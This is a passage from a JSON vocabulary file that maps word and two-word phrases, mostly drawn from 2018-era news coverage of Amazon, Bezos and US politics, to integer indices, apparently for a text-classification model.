\"rose ceremony\": 98481,\n  \"amazonian phil\": 98482,\n  \"month tossed\": 98483,\n  \"wouldn abide\": 98484,\n  \"news uber\": 98485,\n  \"pain medical\": 98486,\n  \"essentially threatened\": 98487,\n  \"trump complaints\": 98488,\n  \"wears bald\": 98489,\n  \"trump weekend\": 98490,\n  \"memorandum trump\": 98491,\n  \"mtv\": 98492,\n  \"future foretold\": 98493,\n  \"joe cohen\": 98494,\n  \"topped trillion\": 98495,\n  \"twitter today\": 98496,\n  \"notably today\": 98497,\n  \"good journalism\": 98498,\n  \"bls category\": 98499,\n  \"attorney buffalo\": 98500,\n  \"company conduct\": 98501,\n  \"operating cash\": 98502,\n  \"kathy kraninger\": 98503,\n  \"semi\": 98504,\n  \"express clear\": 98505,\n  \"hurts working\": 98506,\n  \"typeof object\": 98507,\n  \"update admp\": 98508,\n  \"infants\": 98509,\n  \"senate passage\": 98510,\n  \"deal finalized\": 98511,\n  \"sticking\": 98512,\n  \"lightly vestager\": 98513,\n  \"kids interested\": 98514,\n  \"systems reports\": 98515,\n  \"close euro\": 98516,\n  \"telephone communications\": 98517,\n  \"coif\": 98518,\n  \"stock john\": 98519,\n  \"godwink christmas\": 98520,\n  \"unsure sanders\": 98521,\n  \"374\": 98522,\n  \"island route\": 98523,\n  \"michael janofsky\": 98524,\n  \"governor andrew\": 98525,\n  \"potency\": 98526,\n  \"long raged\": 98527,\n  \"information ice\": 98528,\n  \"knights\": 98529,\n  \"invalid\": 98530,\n  \"senior interior\": 98531,\n  \"poor colin\": 98532,\n  \"amazon lite\": 98533,\n  \"aroma pentagon\": 98534,\n  \"join growing\": 98535,\n  \"fsg\": 98536,\n  \"cities using\": 98537,\n  \"dade school\": 98538,\n  \"busy shoppers\": 98539,\n  \"federal agency\": 98540,\n  \"oscar isaac\": 98541,\n  \"ai rudimentary\": 98542,\n  \"women stockpiling\": 98543,\n  \"read spigen\": 98544,\n  \"rocketman\": 98545,\n  \"conflicted\": 98546,\n  \"suggesting sending\": 98547,\n  \"zones say\": 98548,\n  \"opposing politicians\": 98549,\n  \"practised\": 98550,\n  \"republican incumbent\": 98551,\n  \"cement plant\": 98552,\n  \"fed evans\": 98553,\n  \"depose\": 98554,\n  \"hollywood wants\": 98555,\n  \"national secretariat\": 98556,\n  \"seeing tremendous\": 98557,\n  \"000 share\": 98558,\n  \"handbags urban\": 98559,\n  \"downside\": 98560,\n  \"quarter creative\": 98561,\n  \"tweet nonetheless\": 98562,\n  \"firearm injuries\": 98563,\n  \"strict management\": 98564,\n  \"costs involved\": 98565,\n  \"familiar strategy\": 98566,\n  \"medication\": 98567,\n  \"day unfortunately\": 98568,\n  \"thriller series\": 98569,\n  \"department stores\": 98570,\n  \"braun\": 98571,\n  \"musk spacex\": 98572,\n  \"vulnerable body\": 98573,\n  \"current ami\": 98574,\n  \"senate races\": 98575,\n  \"fee statement\": 98576,\n  \"continental\": 98577,\n  \"organization claimed\": 98578,\n  \"information systems\": 98579,\n  \"annual gift\": 98580,\n  \"santos\": 98581,\n  \"apparel similar\": 98582,\n  \"quietly borne\": 98583,\n  \"billion tax\": 98584,\n  \"government state\": 98585,\n  \"distinguish unlawful\": 98586,\n  \"talked tough\": 98587,\n  \"laughed bezos\": 98588,\n  \"convince\": 98589,\n  \"launches fernholz\": 98590,\n  \"secular growth\": 98591,\n  \"alibabas online\": 98592,\n  \"speaks recklessly\": 98593,\n  \"block mobile\": 98594,\n  \"new ideas\": 98595,\n  \"data visibility\": 98596,\n  \"bury playboy\": 98597,\n  \"socialized\": 98598,\n  \"torn homes\": 98599,\n  \"box trend\": 98600,\n  \"nicolaus\": 98601,\n  \"alums maya\": 98602,\n  \"advocate groups\": 98603,\n  \"shoppers begin\": 98604,\n  \"veteran focused\": 98605,\n  \"totaling 705\": 98606,\n  \"data repositories\": 98607,\n  \"store using\": 98608,\n  \"annually speaking\": 98609,\n  \"paper releases\": 98610,\n  \"familiar topics\": 98611,\n  \"facebook founder\": 98612,\n  \"ec ma\": 98613,\n  \"delivery euro\": 98614,\n  \"kidnapper speaks\": 98615,\n  \"interesting opportunity\": 98616,\n  \"house asked\": 98617,\n  \"command veto\": 98618,\n  \"wouldn directly\": 98619,\n  \"leaks page\": 98620,\n  \"tape offering\": 98621,\n  \"day stock\": 98622,\n  \"packages according\": 98623,\n  \"173 million\": 98624,\n  \"brain damage\": 98625,\n  \"million millennial\": 98626,\n  \"checkup\": 98627,\n  \"created equal\": 98628,\n  \"moines\": 98629,\n  \"making house\": 98630,\n  \"subsidiary\": 98631,\n  \"turnkey amazon\": 98632,\n  \"attaches\": 98633,\n  \"hairy surprise\": 98634,\n  \"notably tech\": 98635,\n  \"post aggressive\": 98636,\n  \"average forward\": 98637,\n  \"centered political\": 98638,\n  \"radical suggestion\": 98639,\n  \"loading replay\": 98640,\n  \"lynn executive\": 98641,\n  \"worker mistreatment\": 98642,\n  \"receive bathroom\": 98643,\n  \"chickasaw\": 98644,\n  \"marketplace surge\": 98645,\n  \"company amazon\": 98646,\n  \"including attacking\": 98647,\n  \"continued profitability\": 98648,\n  \"pic fare\": 98649,\n  \"faster moving\": 98650,\n  \"herera right\": 98651,\n  \"riches past\": 98652,\n  \"griffith park\": 98653,\n  \"ring ring\": 98654,\n  \"jersey offered\": 98655,\n  \"federal leadership\": 98656,\n  \"regional economies\": 98657,\n  \"lippman\": 98658,\n  \"people mingle\": 98659,\n  \"crucial pieces\": 98660,\n  \"chilly\": 98661,\n  \"gold reserves\": 98662,\n  \"amazon launched\": 98663,\n  \"extremely loose\": 98664,\n  \"genuinely independent\": 98665,\n  \"america conference\": 98666,\n  \"just choosing\": 98667,\n  \"showcase gop\": 98668,\n  \"asking directions\": 98669,\n  \"nordstrom jet\": 98670,\n  \"powerdrill\": 98671,\n  \"know generally\": 98672,\n  \"china illegally\": 98673,\n  \"reputable outlet\": 98674,\n  \"unsustainable labor\": 98675,\n  \"settle score\": 98676,\n  \"headquarters amazingly\": 98677,\n  \"twitty\": 98678,\n  \"upgrades\": 98679,\n  \"tightening labor\": 98680,\n  \"doubled cheapskates\": 98681,\n  \"corporate employees\": 98682,\n  \"numerous reports\": 98683,\n  \"moreconservative tiltsinclair\": 98684,\n  \"whalen jeanne\": 98685,\n  \"encoding\": 98686,\n  \"difficult sanders\": 98687,\n  \"prime don\": 98688,\n  \"mexican migrant\": 98689,\n  \"bestowed\": 98690,\n  \"stock trump\": 98691,\n  \"mature geographies\": 98692,\n  \"oversimplified\": 98693,\n  \"hamas rockets\": 98694,\n  \"judge shares\": 98695,\n  \"detailed\": 98696,\n  \"monk seals\": 98697,\n  \"v0 t0\": 98698,\n  \"miraculously complete\": 98699,\n  \"site final\": 98700,\n  \"vast majority\": 98701,\n  \"cost services\": 98702,\n  \"times cohen\": 98703,\n  \"struggle01\": 98704,\n  \"movie production\": 98705,\n  \"2012 school\": 98706,\n  \"undermining\": 98707,\n  \"inside camp\": 98708,\n  \"ron vitiello\": 98709,\n  \"dismantle\": 98710,\n  \"previously deemed\": 98711,\n  \"saying game\": 98712,\n  \"misguided policies\": 98713,\n  \"hewas railing\": 98714,\n  \"reasons amazon\": 98715,\n  \"christine jahnke\": 98716,\n  \"arabia denies\": 98717,\n  \"include women\": 98718,\n  \"scraps new\": 98719,\n  \"broken did\": 98720,\n  \"silvio\": 98721,\n  \"squad armed\": 98722,\n  \"washington hearth\": 98723,\n  \"itunes googleplay\": 98724,\n  \"chairman terry\": 98725,\n  \"volvo business\": 98726,\n  \"quality spokesperson\": 98727,\n  \"traveler form\": 98728,\n  \"michelle markowitz\": 98729,\n  \"kodali\": 98730,\n  \"stoppropagation r4ee\": 98731,\n  \"sectors online\": 98732,\n  \"retail businesses\": 98733,\n  \"separate tweetstorm\": 98734,\n  \"respond makes\": 98735,\n  \"faang data\": 98736,\n  \"employees nearly\": 98737,\n  \"amazon entire\": 98738,\n  \"overworked warehouse\": 98739,\n  \"president deflected\": 98740,\n  \"showed sanchez\": 98741,\n  \"disgrace partially\": 98742,\n  \"subjects range\": 98743,\n  \"2018 17532188\": 98744,\n  \"including target\": 98745,\n  \"strongly support\": 98746,\n  \"keeping track\": 98747,\n  \"5b\": 98748,\n  \"unfavorable news\": 98749,\n  \"marginal improvements\": 98750,\n  \"donahue\": 98751,\n  \"emoji amazon\": 98752,\n  \"insubstantial\": 98753,\n  \"big price\": 98754,\n  \"credits infrastructure\": 98755,\n  \"trump emergency\": 98756,\n  \"500 shares\": 98757,\n  \"bronx ruth\": 98758,\n  \"make splash\": 98759,\n  \"possible unjust\": 98760,\n  \"wares sellers\": 98761,\n  \"meat producer\": 98762,\n  \"watching media\": 98763,\n  \"grab fedex\": 98764,\n  \"sliming\": 98765,\n  \"popular russia\": 98766,\n  \"nfl running\": 98767,\n  \"charge passengers\": 98768,\n  \"trump cbs\": 98769,\n  \"poynter center\": 98770,\n  \"later protester\": 98771,\n  \"spend good\": 98772,\n  \"changing journey\": 98773,\n  \"chamber does\": 98774,\n  \"officially begun\": 98775,\n  \"simply\": 98776,\n  \"dugout\": 98777,\n  \"denuclearization insisting\": 98778,\n  \"rampant gentrification\": 98779,\n  \"sex race\": 98780,\n  \"carmaggedon big\": 98781,\n  \"office president\": 98782,\n  \"ice officers\": 98783,\n  \"clinton focuses\": 98784,\n  \"cohen hearing\": 98785,\n  \"product officer\": 98786,\n  \"broader political\": 98787,\n  \"expansions corporations\": 98788,\n  \"fact 5_5\": 98789,\n  \"platform deceptive\": 98790,\n  \"obvious ways\": 98791,\n  \"retailer amancio\": 98792,\n  \"industry pushback\": 98793,\n  \"fleeting moment\": 98794,\n  \"space trump\": 98795,\n  \"unapologetically adversarial\": 98796,\n  \"says exports\": 98797,\n  \"pitchfork\": 98798,\n  \"koya\": 98799,\n  \"aggregator\": 98800,\n  \"paper online\": 98801,\n  \"program prioritizes\": 98802,\n  \"deal stands\": 98803,\n  \"deletes 583m\": 98804,\n  \"conversation started\": 98805,\n  \"double sided\": 98806,\n  \"compression\": 98807,\n  \"stores include\": 98808,\n  \"rants\": 98809,\n  \"leisure business\": 98810,\n  \"way lead\": 98811,\n  \"shares alesco\": 98812,\n  \"scarborough thinks\": 98813,\n  \"mcallen tex\": 98814,\n  \"removeeventlistener\": 98815,\n  \"litigation counsel\": 98816,\n  \"blair network\": 98817,\n  \"bobbitt revealing\": 98818,\n  \"800 word\": 98819,\n  \"marketwatch check\": 98820,\n  \"coiro\": 98821,\n  \"named straight\": 98822,\n  \"bu rt\": 98823,\n  \"investigative piece\": 98824,\n  \"11m\": 98825,\n  \"chesterfield mo\": 98826,\n  \"ravings\": 98827,\n  \"golf balls\": 98828,\n  \"wait isn\": 98829,\n  \"community based\": 98830,\n  \"handbags burlington\": 98831,\n  \"iraq\": 98832,\n  \"powerful training\": 98833,\n  \"david graham\": 98834,\n  \"share deeply\": 98835,\n  \"toggle caption\": 98836,\n  \"dunford mentioned\": 98837,\n  \"infringing products\": 98838,\n  \"pepper\": 98839,\n  \"610 805\": 98840,\n  \"news requests\": 98841,\n  \"874 93m\": 98842,\n  \"laws aim\": 98843,\n  \"senate questions\": 98844,\n  \"algonquin power\": 98845,\n  \"reality lastly\": 98846,\n  \"mechanically\": 98847,\n  \"tyler clifford\": 98848,\n  \"abandoned akron\": 98849,\n  \"faa approval\": 98850,\n  \"launching humans\": 98851,\n  \"reminisce\": 98852,\n  \"saaristo charter\": 98853,\n  \"letter cited\": 98854,\n  \"subtitles\": 98855,\n  \"exceed\": 98856,\n  \"house news\": 98857,\n  \"amazon precisely\": 98858,\n  \"ianniello announcing\": 98859,\n  \"queens rozic\": 98860,\n  \"copycat\": 98861,\n  \"montaigne\": 98862,\n  \"transitions jill\": 98863,\n  \"securing industry\": 98864,\n  \"street highest\": 98865,\n  \"naming sanders\": 98866,\n  \"operating multiple\": 98867,\n  \"network externalities\": 98868,\n  \"seconds amazon\": 98869,\n  \"later trump\": 98870,\n  \"parse\": 98871,\n  \"swamps\": 98872,\n  \"lly sgn\": 98873,\n  \"snow technology\": 98874,\n  \"nuclear bomb\": 98875,\n  \"contact bezos\": 98876,\n  \"geographically\": 98877,\n  \"getelementbyid configobj\": 98878,\n  \"poetic\": 98879,\n  \"sonic\": 98880,\n  \"key country\": 98881,\n  \"human derived\": 98882,\n  \"choice label\": 98883,\n  \"york instances\": 98884,\n  \"11am\": 98885,\n  \"financial sector\": 98886,\n  \"report explains\": 98887,\n  \"gartner 2018\": 98888,\n  \"cover damage\": 98889,\n  \"tsla\": 98890,\n  \"white neighborhoods\": 98891,\n  \"late 90s\": 98892,\n  \"flag\": 98893,\n  \"investigation regulation\": 98894,\n  \"xavier bindel\": 98895,\n  \"hide ads\": 98896,\n  \"cathedral private\": 98897,\n  \"point news\": 98898,\n  \"revealing look\": 98899,\n  \"network facebook\": 98900,\n  \"election sent\": 98901,\n  \"deeper rooted\": 98902,\n  \"tmall site\": 98903,\n  \"personal happiness\": 98904,\n  \"related articles\": 98905,\n  \"sparking conversation\": 98906,\n  \"1968\": 98907,\n  \"shares took\": 98908,\n  \"diversify spending\": 98909,\n  \"sec aspiriant\": 98910,\n  \"away president\": 98911,\n  \"unify\": 98912,\n  \"sensor\": 98913,\n  \"special vitriol\": 98914,\n  \"sell joint\": 98915,\n  \"trump escalation\": 98916,\n  \"crowned rose\": 98917,\n  \"future ami\": 98918,\n  \"does hardware\": 98919,\n  \"entertaining thriller\": 98920,\n  \"identified black\": 98921,\n  \"place american\": 98922,\n  \"stronger instead\": 98923,\n  \"original suspira\": 98924,\n  \"flawed study\": 98925,\n  \"poultry pork\": 98926,\n  \"time amazon\": 98927,\n  \"usps news\": 98928,\n  \"coming year\": 98929,\n  \"bosch\": 98930,\n  \"astonishingly rich\": 98931,\n  \"compliance cost\": 98932,\n  \"listers patrick\": 98933,\n  \"policy heads\": 98934,\n  \"print hardcover\": 98935,\n  \"objectionable trump\": 98936,\n  \"joust\": 98937,\n  \"search outcome\": 98938,\n  \"audra mulkern\": 98939,\n  \"effectively doing\": 98940,\n  \"kosik\": 98941,\n  \"local pub\": 98942,\n  \"established players\": 98943,\n  \"major television\": 98944,\n  \"financial practices\": 98945,\n  \"blurb\": 98946,\n  \"entirely succumbed\": 98947,\n  \"annoyed tweet\": 98948,\n  \"superstar\": 98949,\n  \"decree expired\": 98950,\n  \"chase andrews\": 98951,\n  \"deeply thoughtful\": 98952,\n  \"competition innovation\": 98953,\n  \"trump rhetoric\": 98954,\n  \"ubiquity\": 98955,\n  \"comcast owns\": 98956,\n  \"liberties union\": 98957,\n  \"second fastest\": 98958,\n  \"null inc_show_read_moreflag\": 98959,\n  \"bidens presidential\": 98960,\n  \"kept getting\": 98961,\n  \"tesla shares\": 98962,\n  \"deficits story\": 98963,\n  \"vollero\": 98964,\n  \"commemorating transgender\": 98965,\n  \"tsxv reo\": 98966,\n  \"powerful washington\": 98967,\n  \"right griffeth\": 98968,\n  \"carbon dioxide\": 98969,\n  \"gop compared\": 98970,\n  \"statement volume\": 98971,\n  \"corrupt department\": 98972,\n  \"apnewsbreak attorney\": 98973,\n  \"america racial\": 98974,\n  \"met opioid\": 98975,\n  \"nyt today\": 98976,\n  \"kitty\": 98977,\n  \"vet\": 98978,\n  \"current levels\": 98979,\n  \"track shipments\": 98980,\n  \"owned sun\": 98981,\n  \"sanchez talked\": 98982,\n  \"acid reducer\": 98983,\n  \"trump sign\": 98984,\n  \"uttered\": 98985,\n  \"230\": 98986,\n  \"judicially created\": 98987,\n  \"televised debate\": 98988,\n  \"trump saying\": 98989,\n  \"manage amazon\": 98990,\n  \"warned additional\": 98991,\n  \"segment potential\": 98992,\n  \"socially desirable\": 98993,\n  \"disclosure just\": 98994,\n  \"charlton\": 98995,\n  \"darkly\": 98996,\n  \"primarily based\": 98997,\n  \"biggest package\": 98998,\n  \"stop giving\": 98999,\n  \"slowly burn\": 99000,\n  \"finished little\": 99001,\n  \"historic relationship\": 99002,\n  \"tells nbc\": 99003,\n  \"greatest cities\": 99004,\n  \"pocahontas wacky\": 99005,\n  \"wanting open\": 99006,\n  \"pot cuisine\": 99007,\n  \"mount\": 99008,\n  \"answered questions\": 99009,\n  \"women just\": 99010,\n  \"program aired\": 99011,\n  \"schweizer remarked\": 99012,\n  \"hq2 headquarters\": 99013,\n  \"fact washington\": 99014,\n  \"winner danny\": 99015,\n  \"6000 years\": 99016,\n  \"europe floats\": 99017,\n  \"online dating\": 99018,\n  \"amazon channels\": 99019,\n  \"advertising duopoly\": 99020,\n  \"news chairman\": 99021,\n  \"creating jobs\": 99022,\n  \"peerlessmedia\": 99023,\n  \"mandating review\": 99024,\n  \"aapl twitter\": 99025,\n  \"called maven\": 99026,\n  \"body creation\": 99027,\n  \"basic dichotomy\": 99028,\n  \"mortar powerhouse\": 99029,\n  \"macmillan publishing\": 99030,\n  \"sharpened definition\": 99031,\n  \"zain\": 99032,\n  \"enquir\": 99033,\n  \"traditional way\": 99034,\n  \"midterm race\": 99035,\n  \"minerals agricultural\": 99036,\n  \"import taxes\": 99037,\n  \"company projections\": 99038,\n  \"squabbling\": 99039,\n  \"critics ryan\": 99040,\n  \"technology newsletter\": 99041,\n  \"zino\": 99042,\n  \"terminated permanently\": 99043,\n  \"people recognizing\": 99044,\n  \"democratic decisions\": 99045,\n  \"gramophone\": 99046,\n  \"589\": 99047,\n  \"stat muckerman\": 99048,\n  \"conservative members\": 99049,\n  \"gone ahead\": 99050,\n  \"queens residents\": 99051,\n  \"billlion\": 99052,\n  \"withdrawal poured\": 99053,\n  \"hurricane sandy\": 99054,\n  \"sport\": 99055,\n  \"175 points\": 99056,\n  \"management guys\": 99057,\n  \"eia environmental\": 99058,\n  \"loser political\": 99059,\n  \"fails\": 99060,\n  \"sinclair script\": 99061,\n  \"internet retail\": 99062,\n  \"highest followed\": 99063,\n  \"team involved\": 99064,\n  \"valuation milestone\": 99065,\n  \"gaming audio\": 99066,\n  \"canadian president\": 99067,\n  \"reach tipping\": 99068,\n  \"emmet flood\": 99069,\n  \"longshot democratic\": 99070,\n  \"service offering\": 99071,\n  \"joke likewise\": 99072,\n  \"lobbying spending\": 99073,\n  \"pence stood\": 99074,\n  \"bozo seriously\": 99075,\n  \"claims ami\": 99076,\n  \"german owned\": 99077,\n  \"leaning away\": 99078,\n  \"mulling throwing\": 99079,\n  \"says entertainment\": 99080,\n  \"france days\": 99081,\n  \"trump scandals\": 99082,\n  \"included giving\": 99083,\n  \"bloomberg reported\": 99084,\n  \"singaporean teen\": 99085,\n  \"important matter\": 99086,\n  \"connected firm\": 99087,\n  \"national day\": 99088,\n  \"owned parks\": 99089,\n  \"california oscar\": 99090,\n  \"steadily cutting\": 99091,\n  \"transactional activity\": 99092,\n  \"flying colors\": 99093,\n  \"developer building\": 99094,\n  \"sees amazon\": 99095,\n  \"presence right\": 99096,\n  \"studied engineering\": 99097,\n  \"yuelai\": 99098,\n  \"story unemployment\": 99099,\n  \"actuarial\": 99100,\n  \"satisfactory\": 99101,\n  \"poor conditions\": 99102,\n  \"creating mass\": 99103,\n  \"service enormous\": 99104,\n  \"mediterranean sea\": 99105,\n  \"sellers hbk\": 99106,\n  \"economic forum\": 99107,\n  \"oz hotspots\": 99108,\n  \"imposes auto\": 99109,\n  \"coie northeastern\": 99110,\n  \"raises improved\": 99111,\n  \"average swooned\": 99112,\n  \"american remains\": 99113,\n  \"run italian\": 99114,\n  \"drifting\": 99115,\n  \"futures dipped\": 99116,\n  \"francisco matrimonial\": 99117,\n  \"center boom\": 99118,\n  \"rebate dropping\": 99119,\n  \"predicted bezos\": 99120,\n  \"jurassic\": 99121,\n  \"600x400 getty_478170176_388027\": 99122,\n  \"controlling platforms\": 99123,\n  \"wadhwa vivek\": 99124,\n  \"forcing competitors\": 99125,\n  \"footing early\": 99126,\n  \"promise adams\": 99127,\n  \"service dds\": 99128,\n  \"productive according\": 99129,\n  \"political peril\": 99130,\n  \"recent bump\": 99131,\n  \"2018 hatch\": 99132,\n  \"german sandal\": 99133,\n  \"embrace difference\": 99134,\n  \"bushy\": 99135,\n  \"0n17_bcccgcccggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\": 99136,\n  \"undergrowth\": 99137,\n  \"ship avalanche\": 99138,\n  \"deemed essential\": 99139,\n  \"complicated technology\": 99140,\n  \"national brick\": 99141,\n  \"busing\": 99142,\n  \"story avon\": 99143,\n  \"turn trump\": 99144,\n  \"situation believe\": 99145,\n  \"feinstein\": 99146,\n  \"irish facebook\": 99147,\n  \"reputable publication\": 99148,\n  \"berg increased\": 99149,\n  \"breaks spokeswoman\": 99150,\n  \"2018 garmin\": 99151,\n  \"car ownership\": 99152,\n  \"trade medicine\": 99153,\n  \"gain influence\": 99154,\n  \"unveils hardware\": 99155,\n  \"related contracts\": 99156,\n  \"t1 _blank\": 99157,\n  \"soldiers disembarked\": 99158,\n  \"weeks ahead\": 99159,\n  \"stories including\": 99160,\n  \"france titles\": 99161,\n  \"president fueling\": 99162,\n  \"delhi\": 99163,\n  \"futures indicated\": 99164,\n  \"donations fail\": 99165,\n  \"usps does\": 99166,\n  \"employees pressure\": 99167,\n  \"nixon wanted\": 99168,\n  \"ironclad\": 99169,\n  \"declines\": 99170,\n  \"free store\": 99171,\n  \"host kylie\": 99172,\n  \"mmv\": 99173,\n  \"orwellian fear\": 99174,\n  \"extra damage\": 99175,\n  \"sophisticated surveillance\": 99176,\n  \"looser\": 99177,\n  \"agency sessions\": 99178,\n  \"business standard\": 99179,\n  \"ordination\": 99180,\n  \"burritos\": 99181,\n  \"shirt saying\": 99182,\n  \"berated amazon\": 99183,\n  \"peninsula reportedly\": 99184,\n  \"tapping equityand\": 99185,\n  \"trade live\": 99186,\n  \"addicting jacobson\": 99187,\n  \"weeks\": 99188,\n  \"misfits\": 99189,\n  \"perfect predator\": 99190,\n  \"wear basically\": 99191,\n  \"url document\": 99192,\n  \"warfare\": 99193,\n  \"hours week\": 99194,\n  \"indicted trump\": 99195,\n  \"shortcomings\": 99196,\n  \"medical issue\": 99197,\n  \"making hush\": 99198,\n  \"cohen receives\": 99199,\n  \"screenx screeny\": 99200,\n  \"new customers\": 99201,\n  \"shooting happened\": 99202,\n  \"offers midpoint\": 99203,\n  \"acosta earlier\": 99204,\n  \"bulk\": 99205,\n  \"hammond\": 99206,\n  \"mccain says\": 99207,\n  \"new memorandum\": 99208,\n  \"scrutiny growing\": 99209,\n  \"king usually\": 99210,\n  \"house ways\": 99211,\n  \"infused politically\": 99212,\n  \"outfitting\": 99213,\n  \"faked\": 99214,\n  \"va 22201\": 99215,\n  \"cheekily titled\": 99216,\n  \"salty snack\": 99217,\n  \"shipping expense\": 99218,\n  \"don deserve\": 99219,\n  \"money overall\": 99220,\n  \"formed blue\": 99221,\n  \"analyst thinks\": 99222,\n  \"chase battlefield\": 99223,\n  \"mccrae dowless\": 99224,\n  \"ceo tool\": 99225,\n  \"unaccountable controllers\": 99226,\n  \"obreht signature\": 99227,\n  \"just raised\": 99228,\n  \"inappropriate language\": 99229,\n  \"united methodist\": 99230,\n  \"notoriously close\": 99231,\n  \"mawr holds\": 99232,\n  \"grocery selection\": 99233,\n  \"5g market\": 99234,\n  \"mst human\": 99235,\n  \"leaders offering\": 99236,\n  \"working environment\": 99237,\n  \"investor berkshire\": 99238,\n  \"chosen city\": 99239,\n  \"different industries\": 99240,\n  \"legislation passed\": 99241,\n  \"marketing play\": 99242,\n  \"government capital\": 99243,\n  \"emotive ideas\": 99244,\n  \"airbnb large\": 99245,\n  \"sheet records\": 99246,\n  \"freight train\": 99247,\n  \"kari paul\": 99248,\n  \"harsher stance\": 99249,\n  \"bardem\": 99250,\n  \"destroyed\": 99251,\n  \"nunavut\": 99252,\n  \"brief appearance\": 99253,\n  \"walmart nyse\": 99254,\n  \"deaths continue\": 99255,\n  \"goods straight\": 99256,\n  \"involving movie\": 99257,\n  \"huguen\": 99258,\n  \"agenda commondreams\": 99259,\n  \"hile control\": 99260,\n  \"neighborhood priorities\": 99261,\n  \"jr jeff\": 99262,\n  \"amnesty international\": 99263,\n  \"delivery options\": 99264,\n  \"multiple emails\": 99265,\n  \"amazon enjoys\": 99266,\n  \"professionally\": 99267,\n  \"distributed annually\": 99268,\n  \"fake poll\": 99269,\n  \"ionospheric\": 99270,\n  \"scars remain\": 99271,\n  \"applicable\": 99272,\n  \"trade resolution\": 99273,\n  \"burgeoning startups\": 99274,\n  \"shopping behemoth\": 99275,\n  \"eisenbach\": 99276,\n  \"know better\": 99277,\n  \"comfort food\": 99278,\n  \"aiding\": 99279,\n  \"enquirer handling\": 99280,\n  \"khannaelection\": 99281,\n  \"critic clive\": 99282,\n  \"news brexit\": 99283,\n  \"new bezos\": 99284,\n  \"shares capwealth\": 99285,\n  \"diverse dialogue\": 99286,\n  \"janus\": 99287,\n  \"sector courtney\": 99288,\n  \"tariff induced\": 99289,\n  \"loosening\": 99290,\n  \"revenue service\": 99291,\n  \"reads laura\": 99292,\n  \"nextvideourl turnonflashmessaging\": 99293,\n  \"content twitter\": 99294,\n  \"cap incorporated\": 99295,\n  \"ap commerce\": 99296,\n  \"sept\": 99297,\n  \"cheney\": 99298,\n  \"knowledgeable authorities\": 99299,\n  \"amendment campaign\": 99300,\n  \"fear showrooming\": 99301,\n  \"amazon bake\": 99302,\n  \"unnamed trump\": 99303,\n  \"hq2 cities\": 99304,\n  \"expect deference\": 99305,\n  \"machina\": 99306,\n  \"political burlesque\": 99307,\n  \"committee chair\": 99308,\n  \"forward separately\": 99309,\n  \"lost new\": 99310,\n  \"iron oxide\": 99311,\n  \"overlooks critical\": 99312,\n  \"company ranked\": 99313,\n  \"braunstein bayside\": 99314,\n  \"huge space\": 99315,\n  \"violent conflict\": 99316,\n  \"post white\": 99317,\n  \"related link\": 99318,\n  \"technology vn\": 99319,\n  \"jill richardson\": 99320,\n  \"potential conflicts\": 99321,\n  \"wife getty\": 99322,\n  \"largest landless\": 99323,\n  \"strategic partnerships\": 99324,\n  \"gripping potent\": 99325,\n  \"service bezos\": 99326,\n  \"returns 100\": 99327,\n  \"methodical approach\": 99328,\n  \"coverage politically\": 99329,\n  \"arrebatar su\": 99330,\n  \"underpenetrated\": 99331,\n  \"monopoly\": 99332,\n  \"e8 l8\": 99333,\n  \"ouch zack\": 99334,\n  \"lanzatech ceo\": 99335,\n  \"prostrate enlargement\": 99336,\n  \"viewed ocasio\": 99337,\n  \"pocketed rivals\": 99338,\n  \"logo takes\": 99339,\n  \"postal reform\": 99340,\n  \"facing growing\": 99341,\n  \"media bureaucratic\": 99342,\n  \"politico europe\": 99343,\n  \"similar sized\": 99344,\n  \"education real\": 99345,\n  \"news trashed\": 99346,\n  \"term trend\": 99347,\n  \"inc_filelocation\": 99348,\n  \"trump conspiring\": 99349,\n  \"regulator mandated\": 99350,\n  \"house mired\": 99351,\n  \"regulatory consent\": 99352,\n  \"owl _items\": 99353,\n  \"tory tory\": 99354,\n  \"wedbush analyst\": 99355,\n  \"trading government\": 99356,\n  \"powerful men\": 99357,\n  \"newspeson\": 99358,\n  \"harris claim\": 99359,\n  \"postal governing\": 99360,\n  \"u2x p8\": 99361,\n  \"slowly building\": 99362,\n  \"receive lot\": 99363,\n  \"prior elected\": 99364,\n  \"figures clearly\": 99365,\n  \"dissemination\": 99366,\n  \"war cibc\": 99367,\n  \"stem professionals\": 99368,\n  \"intelligent humour\": 99369,\n  \"steady money\": 99370,\n  \"industry averages\": 99371,\n  \"mass unbiblical\": 99372,\n  \"subsidizes walmart\": 99373,\n  \"job opportunities\": 99374,\n  \"cash levels\": 99375,\n  \"singaporean citizen\": 99376,\n  \"worker movement\": 99377,\n  \"communications stone\": 99378,\n  \"dispatch wildfire\": 99379,\n  \"maloney condemns\": 99380,\n  \"2017 senate\": 99381,\n  \"ruling allows\": 99382,\n  \"freshman\": 99383,\n  \"cuseum founder\": 99384,\n  \"644 874\": 99385,\n  \"casualties featured\": 99386,\n  \"fluctuating economy\": 99387,\n  \"intoxicated\": 99388,\n  \"speakers amazon\": 99389,\n  \"senior vice\": 99390,\n  \"gene\": 99391,\n  \"recent financial\": 99392,\n  \"enquirer old\": 99393,\n  \"racist additionally\": 99394,\n  \"2018 prnewswire\": 99395,\n  \"jarrett reveals\": 99396,\n  \"facing pressure\": 99397,\n  \"job pic\": 99398,\n  \"prolific singer\": 99399,\n  \"recorded valuation\": 99400,\n  \"awards erasing\": 99401,\n  \"picked\": 99402,\n  \"huisman\": 99403,\n  \"wynn divorced\": 99404,\n  \"inflating earnings\": 99405,\n  \"radically different\": 99406,\n  \"eps hit\": 99407,\n  \"shopping online\": 99408,\n  \"stz fell\": 99409,\n  \"oft stated\": 99410,\n  \"discuss amazon\": 99411,\n  \"lf\": 99412,\n  \"highlight howthe\": 99413,\n  \"bezos geekwire\": 99414,\n  \"industry executives\": 99415,\n  \"price rise\": 99416,\n  \"federal capital\": 99417,\n  \"woman lauren\": 99418,\n  \"amazon reading\": 99419,\n  \"desperate cities\": 99420,\n  \"bling\": 99421,\n  \"nola\": 99422,\n  \"globe awards\": 99423,\n  \"fueled bull\": 99424,\n  \"corp international\": 99425,\n  \"boost individuals\": 99426,\n  \"mothers\": 99427,\n  \"reflection\": 99428,\n  \"companies various\": 99429,\n  \"agenda muilenburg\": 99430,\n  \"wasn perfect\": 99431,\n  \"mktw\": 99432,\n  \"benefits make\": 99433,\n  \"elaborate grovel\": 99434,\n  \"dropping palantir\": 99435,\n  \"lash\": 99436,\n  \"jason bailey\": 99437,\n  \"fined\": 99438,\n  \"honest engagement\": 99439,\n  \"insider bezos\": 99440,\n  \"business think\": 99441,\n  \"decades washington\": 99442,\n  \"following strong\": 99443,\n  \"takeaway\": 99444,\n  